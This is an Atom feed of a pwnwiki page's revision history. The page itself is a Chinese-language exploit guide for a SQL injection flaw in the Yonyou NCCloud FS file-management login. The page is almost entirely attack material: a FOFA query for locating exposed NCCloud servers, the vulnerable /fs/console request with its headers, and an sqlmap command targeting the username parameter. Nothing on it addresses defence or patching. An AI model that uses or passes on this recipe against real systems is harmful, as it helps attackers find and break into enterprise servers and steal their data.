https://pwnwiki.com/index.php?action=history&feed=atom&title=%E7%94%A8%E5%8F%8B_NCCloud_FS%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
用友 NCCloud FS文件管理SQL注入漏洞 - Revision history
2026-04-07T22:41:15Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E7%94%A8%E5%8F%8B_NCCloud_FS%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=1889&oldid=prev
Pwnwiki: 建立內容為「==FOFA== <pre> FOFA "NCCloud" </pre> ==漏洞利用== 在應用中存在文件服務器管理登錄頁面: <pre> http://xxx.xxx.xxx.xxx/fs/ </pre> 請求包: <…」的新頁面
2021-04-24T07:45:11Z
<p>建立內容為「==FOFA== <pre> FOFA "NCCloud" </pre> ==漏洞利用== 在應用中存在文件服務器管理登錄頁面: <pre> http://xxx.xxx.xxx.xxx/fs/ </pre> 請求包: <…」的新頁面</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
FOFA "NCCloud"<br />
</pre><br />
<br />
<br />
==漏洞利用==<br />
在應用中存在文件服務器管理登錄頁面:<br />
<pre><br />
http://xxx.xxx.xxx.xxx/fs/<br />
</pre><br />
<br />
請求包:<br />
<pre><br />
GET /fs/console?username=123&password=%2F7Go4Iv2Xqlml0WjkQvrvzX%2FgBopF8XnfWPUk69fZs0%3D HTTP/1.1<br />
Host: xxx.xxx.xxx.xxx<br />
Upgrade-Insecure-Requests: 1<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br />
Cookie: JSESSIONID=2CF7A25EE7F77A064A9DA55456B6994D.server; JSESSIONID=0F83D6A0F3D65B8CD4C26DFEE4FCBC3C.server<br />
Connection: close<br />
</pre><br />
<br />
使用Sqlmap對username參數 進行SQL注入:<br />
<pre><br />
sqlmap -r sql.txt -p username <br />
</pre></div>
Pwnwiki